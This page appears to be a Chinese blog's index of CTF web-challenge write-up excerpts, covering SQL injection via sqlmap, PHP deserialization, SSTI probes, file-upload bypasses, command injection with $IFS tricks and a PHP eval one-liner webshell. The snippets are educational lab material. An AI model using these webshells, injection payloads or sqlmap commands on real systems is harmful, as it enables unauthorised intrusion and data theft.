
web类
ChenZIDu
慎独!
展开
-
纵横杯CTF部分WEB题解
easyci一道SQL注入题,大概思路:sql注入写入shell,读取flag文件。sqlmap先读取"/etc/apache2/apache2.conf"内容。sqlmap -u http://eci-2ze0xe7juyhmgubdhea1.cloudeci1.ichunqiu.com/public/index.php/home/login --data "username=admin&password=1" -p username --technique B --dbms mysql -原创 2020-12-27 13:40:00 · 878 阅读 · 0 评论 -
vue-cli反向代理以及axios使用
准备早点把毕业设计写了,之后实习轻松点。写个小说APP玩玩,平常看小说什么的最烦的就是遇到广告了= =。准备后端用jsoup,前端用vue。到时候给账号的话就我一个个分配吧(不想太多人用,毕竟来源准备爪巴那些不正规的网站的源),不想写注册了,或者注册时候要一个邀请码啥的。在config->index.js下更改proxyTableproxyTable: { '/api': { //使用"/api"来代替"http://[ip]:[port]" target: 'h.原创 2020-05-31 19:57:45 · 291 阅读 · 0 评论 -
GKCTF2020_web
不完整,先把打出来的题目写一下,再写复现的好了CheckIN源码<title>Check_In</title><?php highlight_file(__FILE__);class ClassName{ public $code = null; public $decode = null; function __construct() { $this->cod原创 2020-05-25 20:34:23 · 808 阅读 · 0 评论 -
网鼎杯2020朱雀组-web
nmap那题就基本命令然后还有一个别的方法。nmap源码index.php<?require('settings.php');set_time_limit(0);if (isset($_POST['host'])): if (!defined('WEB_SCANS')) { die('Web scans disabled'); } $host = $_POST['host']; if(stripos($host,'php')!==false){ di原创 2020-05-18 17:11:11 · 3140 阅读 · 0 评论 -
网鼎杯2020青龙组-web
看来反序列化要多打点了,反序列化这块都不怎么熟~AreUSerialz源码<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler { protected $op; protected $filename; protected $content; function __construct() { $op = "1"; $filename = "原创 2020-05-18 10:09:05 · 1051 阅读 · 0 评论 -
Sqli-labs(Page-1)1-22
注入的sql一直想写来着的。之前数据库课偷懒的我,留下了悔恨的眼泪。。。(后面看着太烦了就没听了)Less-1order by语句order by(默认升序排列) 可以测试一下当前一共select了多少个字段select * from user where username='1' ORDER BY 3 -- +'union 联合查询语句union前后的两个sql语句的选择列数要相同...原创 2020-04-25 16:45:40 · 533 阅读 · 0 评论 -
BJDCTF 2nd(WEB复现)
记录一下,以后忘记了还能看看fake google-飞机票duangShell.index.php.swp源码泄露一进去提示我们:how can i give you source code? .swp?!,获取源码后,利用vim再把它改回去就行,直接打开会乱码:vim -r index.php.swp恢复。因为exec()无回显,而且没有禁curl。所以可以反弹shell~~...原创 2020-04-02 22:36:04 · 928 阅读 · 0 评论 -
[BJDCTF 2nd]fake google
上周BJDCTF有一道ssti注入题,当时瞎猫碰上死耗子,给我撞过去了。对Python,平常也没有C++和java用的频繁,记录一下正常思路。顺便学习一下,以后遇到了不能光靠运气撞过去了= =一些简单注入{{config}}可以获取当前设置{{self}}{{self.__dict__._TemplateReference__context.config}} 同样可以看到config...原创 2020-03-28 12:39:26 · 1904 阅读 · 1 评论 -
Flask框架实现MVC架构+sqlalchemy连接数据库
果然跟着python2的项目学习Flask有点让人烦躁- - ,除了今天蓝桥杯模拟赛,搞了一天才这么点进度。我去!什么是MVC架构完成后的目录结构是这样的:非常简单,一个static文件夹,一个templates文件夹,一个py文件。以上的目录结构是flask初始时的结构,这个只能应对很小的项目,对于大型复杂的项目,我们需要引入包的管理,MVC架构设计。Model(模型)是应用程序中...原创 2020-03-11 14:27:03 · 1241 阅读 · 0 评论 -
Flask框架环境搭建
想做个Python的小项目练练手~~,选择了Flask,因为平常遇到的比较多,而且大数据也要用这个应用框架。“民”心所向-哈哈哈哈。FlaskFlask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2。很多功能的实现都参考了django框架。。创建一个Flask项目PyCharm不是社区版可以直接创建。...原创 2020-03-09 21:13:17 · 431 阅读 · 0 评论 -
[SCTF2019]Flag Shop
第一次遇见Ruby我去,以为是思路题~~~首先页面是一个shop类的题buy flag是购买flag,但是要求你的钱要到1e+27才行,work可以加钱,reset重置。审查页面元素没什么思路,发现robots.txt。提示了/filebakrequire 'sinatra'require 'sinatra/cookies'require 'sinatra/json'requir...原创 2020-03-04 22:56:02 · 1127 阅读 · 0 评论 -
BJDCTF2020--web-复现
BJDCTF2020未完待续BuuZJCTF,就这?看到这题名字还是很不爽的,毕竟我也是个浙江人,不过zjctf,有一说一确实。BUU上和源题好像有点差别。进题放出源码:<?phperror_reporting(0);$text = $_GET["text"];$file = $_GET["file"];if(isset($text)&&(file_g...原创 2020-02-21 11:27:53 · 2845 阅读 · 0 评论 -
upload-labs(下)11~20
Pass-11源码:$is_upload = false;$msg = null;if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file'][...原创 2020-01-16 19:41:56 · 380 阅读 · 0 评论 -
upload-labs(上)1~10
Pass-01第一关,本来想抓包上传的,发现代理之后还提醒我不能上传php的说明,判断是前端的!查看源码,发现是jS判断后缀。。。。覆盖原先JS里面的内容完成上传Pass-02第二关将后缀,改为jpg,抓包后改为php再上传,没看到我上传的upload路径,还以为我错了,看了下源码,就是通过mime来验证,没错下一题。$is_upload = false;$msg = null;...原创 2020-01-16 19:40:03 · 326 阅读 · 0 评论 -
GXYCTF2019WP
[GXYCTF2019]Ping Ping Ping记得XCTF有道相似题型,当时一看到这题就想起来了,但是写payload的时候多打了个空格。。。试了好多次后没发现,还以为我思路错了。。。题目让我们ping ip 127.0.0.1|ls爆出有index.php以及flag.php,但是题目过滤了空格。“奇淫技巧”:?ip=;cat$IFSls;也能出!!!!学到了!linux常...原创 2020-01-11 16:09:18 · 2148 阅读 · 0 评论 -
2019SUCTF EasyWeb
open_basedir+异或+.htaccessfunction get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userd...原创 2019-12-13 21:30:33 · 1202 阅读 · 0 评论 -
2019UNCTF checkin
Node.js是一个Javascript运行环境(runtime environment),Node.js不是一个JavaScript框架,Node.js是一个让JavaScript运行在服务端的开发平台,它让JavaScript成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。进入之后是一个聊天室.查看源码app.03bc1faf.js,这个JS文件里有/he...原创 2019-12-13 21:28:27 · 448 阅读 · 0 评论 -
2019-ZJCTF
浙江省大学生网络安全竞赛:逆转思路这题当初没做出来,可惜了。主要是php序列化,以及data协议。<?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="w...原创 2019-12-13 21:26:15 · 1177 阅读 · 1 评论 -
[RoarCTF 2019]Easy Java
WEB-INF主要通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码首先看到一个页面,点击下help看看啥情况。发现输出一串java.io.FileNotFoundException:{help.docx}可能是报错信息,打开Brup截取请求信息GET /Download?filename=help.docx HTT...原创 2019-12-13 21:21:26 · 5435 阅读 · 5 评论 -
Bugku-flag在index里
本地文件包含漏洞+php伪协议的结合注意到url地址 http://120.24.86.145:8005/post/index.php?file=show.php点击后这是一个典型的文件包含漏洞,(file关键字是提示,其实也是CTF的套路)。这里用到了php的封装协议:http://php.net/manual/zh/wrappers.php.php具体怎么用呢,先说结果:加入...原创 2019-04-05 11:46:37 · 177 阅读 · 0 评论 -
Bugku 你从哪里来(web)
例题Bugku:你从哪里来(web)首先点开链接:http://123.206.87.240:9009/from.php显示这个画面,之后点开F12但是没有任何提示;没有什么思路,抓个包;得到如下:百度题解有说到一个HTTP Refere这个是用来告诉你点击这个是从哪个网页点到这个的;这题文字问:我们是不是来自谷歌。所以添加一行得到flag;解释下refer:HTTP ...原创 2019-04-08 16:11:30 · 872 阅读 · 0 评论 -
Bugku 网站被黑
后台扫描+爆破进入网页看到一个画面发现没什么内容,利用御剑工具进行后台扫描:出来两个网址,点击下一个进入到一个网页随机输入密码,发现不对,利用Burp抓包该网页,进行爆破点击这个添加一个passwords,点击右上角start attack开始进行爆破。首先要输入一次密码!爆破结果hack,输入得到flag:...原创 2019-04-13 14:40:30 · 591 阅读 · 0 评论 -
Bugkuweb:输入密码查看flag
web 基础爆破点进去抓包之前先输入一遍!抓完之后右键转到 intruder,先按 Positions注意pass后面的数组要有那两个符号,表示变量;利用clear 和add按钮然后转到 Payloads讲Paylad type 调到Numbers因为是5位数所以从10000开始到99999step调成1然后开始跑当他的 Length 返回值与其他不同就是密码了。...原创 2019-04-13 14:47:50 · 962 阅读 · 0 评论 -
phps的利用(phps文件就是php的源代码文件)
phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。因为用户无法直接通过Web浏览器“看到”php文件的内容,所以需要用phps文件代替。得到源码,发现是当id等于admin的时候出flag不过在此之前他要进行一次url的解码,加上浏览器的,一共是两次。直接get方法 id=admin是不能通过的URL其实就是16...原创 2019-09-22 09:28:17 · 3537 阅读 · 0 评论 -
菜刀的基本使用
看到随便上传,想到一句话木马,然后上传一个<?php eval($_POST['a']); ?>然后显示上传成功,点击进去查看发现没有成功,他屏蔽了<?php,几个字符。发现还有另一种JS(javascript)脚本风格的写法<script language="PHP"> @eval($_POST["code"]); <...原创 2019-09-22 09:31:59 · 1560 阅读 · 0 评论 -
SSI注入漏洞
1.2 SSI语法首先,介绍下SHTML,在SHTML文件中使用SSI指令引用其他的html文件(#include),此时服务器会将SHTML中包含的SSI指令解释,再传送给客户端,此时的HTML中就不再有SSI指令了。比如说框架是固定的,但是里面的文章,其他菜单等即可以用#include引用进来①显示服务器端环境变量<#echo>本文档名称:<!–#echo v...原创 2019-09-22 09:38:46 · 422 阅读 · 0 评论 -
.user.ini上传绕过
题目是2019SUCTF的Checkln先进入题目看到的是:文件上传,经过多方尝试之后发现只能上传图片格式的,看了题解之后发现他是getimagesize可以用普通文件,通过设置height以及width来绕过。这题要求我们使用.user.ini所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常...原创 2019-09-22 09:43:12 · 2826 阅读 · 0 评论 -
phpmyadmin 远程文件包含漏洞
F12看到这个,查找source.php,发现源码。<?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"sou...原创 2019-09-22 09:48:43 · 684 阅读 · 0 评论 -
ISCCweb1
<?phperror_reporting(0);require 'flag.php';$value = $_GET['value'];$password = $_GET['password'];$username = '';for ($i = 0; $i < count($value); ++$i) { if ($value[$i] > 32 &&a...原创 2019-09-22 09:53:34 · 642 阅读 · 3 评论 -
文件包含漏洞
PHP输入流php://inputphp://input可以读取没有处理过的POST数据,也可以获取get的php://input不能用于enctype=multipart/form-data” 首先看题目给我们看的是phpinfo.php提示说文件包含漏洞,php输入流使用,用Burp来首先抓包然后再URL那一栏加上?path=php://input再在下方写入我们要传入...原创 2019-09-22 09:56:36 · 184 阅读 · 0 评论 -
php5.3之前的strcmp的漏洞
例题 南邮CG-CTF:http://chinalover.sinaapp.com/web21/源码:`<?php$pass=@$_POST['pass'];$pass1=***********;//被隐藏起来的密码if(isset($pass)){if(@!strcmp($pass,$pass1)){echo "flag:nctf{*}";}else{echo "the...原创 2019-09-22 09:58:56 · 425 阅读 · 0 评论 -
eval代码执行漏洞
eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。看一则样例<?php include "flag.php"; $a = @$_REQUEST['hello']; eva...原创 2019-09-22 10:00:45 · 6032 阅读 · 0 评论 -
截断漏洞
例题 CG-CTF点进去是阅读代码,ereg( ,)(正则表达式匹配)strpos( ,)(寻找里面的字符)第一个if()告诉我们如果不是输入1-9以内的数就执行 输出“必须输入数字才行”然后else if 如果nctf 有#biubiubiu 输出flag否则输出“骚年,继续努力吧啊”第一个方法因为 ereg( ) 和 strpos( ) 中如果时数组的话返回NULL...原创 2019-09-22 10:13:28 · 610 阅读 · 0 评论 -
序列化(1)
例题BUGku首先给出函数:反序列化函数unserialize();序列化函数serialize();在线PHP运行工具首先看到提示我们hint。点击进去一个页面但是点击login没反应。我第一时间是找js代码看看是不是代码问题然后抓包看看有没有关于hint的值的信息。后来看到大佬的题解,发现是get传一个hint的值就行。拿到源码。因为下面这个key是下面定义的所以不用管...原创 2019-09-22 10:16:35 · 222 阅读 · 0 评论 -
序列化(2)对比
== : 比较运算符号 不会检查条件式的表达式的类型===: 恒等计算符 , 同时检查表达式的值与类型。(会检查表达式类型,如bool)PHP序列化与反序列化serialize() 对输入的数据进行序列化转换unserialize() 恢复原先变量,还原已经序列化的对象。intval():变量转成整数类型 如果参数是字符串,则返回字符串中第一个不是数字的字符之前的数字串所代表的...原创 2019-09-22 10:20:54 · 308 阅读 · 0 评论 -
Bugku-管理员系统(伪造IP题)
需要伪造本地IP:X-Forwarded-For: 127.0.0.1伪造本地IP,获得flag题目地址:http://123.206.31.85:1003/注意输入得账号密码必须正确!按F12查看网页源码查过题解,绿色那一串是base64编码解码之后获得:test64管理员一般默认 账号是:admin、输入账号密码;弹出IP禁止访问;!然后我们伪造本地IP;先利用抓...原创 2019-04-05 11:40:37 · 1004 阅读 · 0 评论